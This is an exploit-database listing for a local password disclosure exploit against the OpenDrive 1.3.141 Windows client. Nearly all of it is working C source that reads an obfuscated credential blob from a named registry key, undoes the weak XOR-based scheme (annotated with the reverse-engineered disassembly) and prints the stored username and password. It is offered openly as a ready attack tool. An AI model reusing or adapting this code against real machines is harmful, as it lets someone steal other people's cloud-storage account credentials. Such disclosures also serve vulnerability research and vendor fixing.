Author

Glafkos Charalambous

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-16259

Category

local exploits

Date add

04-06-2011

Platform

windows

/*
 
Title: OpenDrive <= 1.3.141 Local Password Disclosure
Author(s): Glafkos Charalambous, George Nicolaou
Contact: glafkos[at]astalavista[dot]com, ishtus[at]astalavista[dot]com
Version: 1.3.141
Vendor: http://www.opendrive.com
Description: Authentication credentials used by the OpenDrive application are
prone to local disclosure attacks due to a weak cryptographic algorithm implementation
 
Encrypted Values:
[HKEY_CURRENT_USER\CLSID\{6E830710-B00F-4bec-9BD7-F95C1F837D02}]
"Data1"=hex:6b,c3,24,c3,69,c3,6f,c3,00,00,04,c3,52,c3,01,c3,53,c3,00,c3,56,c3,0b,c3,54,c3,00,00
 
Decrypted Values:
Username: 0x41
Password: d3c0d3m3
 
*/
 
#include <stdio.h>
#include <wchar.h>
#include <windows.h>
 
int ReadRegistryKey( LPBYTE lpBuffer, LPDWORD lpBufferSize, HKEY hKey,
                    LPCTSTR lpszSubKey, LPCTSTR lpszValueName )
{
    HKEY hKeyLocal;
    int nType;
    if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal )
        == ERROR_SUCCESS ) {
        if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, (LPDWORD)&nType,
            lpBuffer, lpBufferSize ) == ERROR_SUCCESS ) {
            return nType;
        }
        return -1;
    }
    return -1;
}
 
int GetRegistryValueSize( HKEY hKey, LPCTSTR lpszSubKey, LPCTSTR lpszValueName )
{
    HKEY hKeyLocal;
    unsigned long nSize;
    if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal ) == ERROR_SUCCESS ) {
        if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, NULL, NULL, (LPDWORD)&nSize ) == ERROR_SUCCESS) {
            return (int)nSize;
        }
        return -1;
    }
    return -1;
}
 
void DecryptOpenDrive( unsigned short *ciphertxt, int len )
{
    short username[100] = {0};
    short password[100] = {0};
     
    int count = 0; // ECX
    int wchr = 0; // ESI
    int pos = 0; // EAX
    int round = 0; // EDX
    unsigned short tmp;
    short *output;
    output = (short *)&username;
    do {
        //00401626  |>  83F9 02       /CMP ECX,2
        //00401629  |.  7D 38         |JGE SHORT OpenDriv.00401663
        //0040162B  |.  0FB73453      |MOVZX ESI,WORD PTR DS:[EBX+EDX*2]
        //0040162F  |.  66:85F6       |TEST SI,SI
        //00401632  |.  75 0F         |JNZ SHORT OpenDriv.00401643
        if ( ( wchr = ciphertxt[round] ) ) {
            //00401643  |>  8D9A 5BC3FFFF |LEA EBX,DWORD PTR DS:[EDX-3CA5] // 0, 1
            tmp = round - 0x3CA5;
            //00401649  |.  33DE          |XOR EBX,ESI // ESI = ciph[0], ciph[1]
            tmp = tmp ^ (unsigned int)wchr;
            //0040164B  |.  8B748C 20     |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20]
            //0040164F  |.  66:891C46     |MOV WORD PTR DS:[ESI+EAX*2],BX // out[0] = BX
            *output++ = tmp;
            //00401653  |.  40            |INC EAX // 0 -> 1
        }
        else {
            count++;
            if(count >= 2) break;
            //00401634  |.  8B748C 20     |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20]
            //00401638  |.  33DB          |XOR EBX,EBX
            //0040163A  |.  66:891C46     |MOV WORD PTR DS:[ESI+EAX*2],BX
            *output = 0;
            output = (short *)&password;
            //0040163E  |.  41            |INC ECX
            //0040163F  |.  33C0          |XOR EAX,EAX
        }
        round++;
    }
    while(1);
    wprintf(L"Username: %ls\nPassword: %ls\n",username, password);
}
 
int main() {
    int nRegistryKeySize;
    LPBYTE buffer;
    if ( (nRegistryKeySize = GetRegistryValueSize( HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) ) != -1 ) {
        buffer = (LPBYTE)calloc( nRegistryKeySize, sizeof(char) );
        if( ReadRegistryKey(buffer, (LPDWORD)&nRegistryKeySize, HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) != -1 ) {
            DecryptOpenDrive( (unsigned short *)buffer, nRegistryKeySize );
        }
        else {
        wprintf(L"Error reading registry key\n");
        }
    }
}



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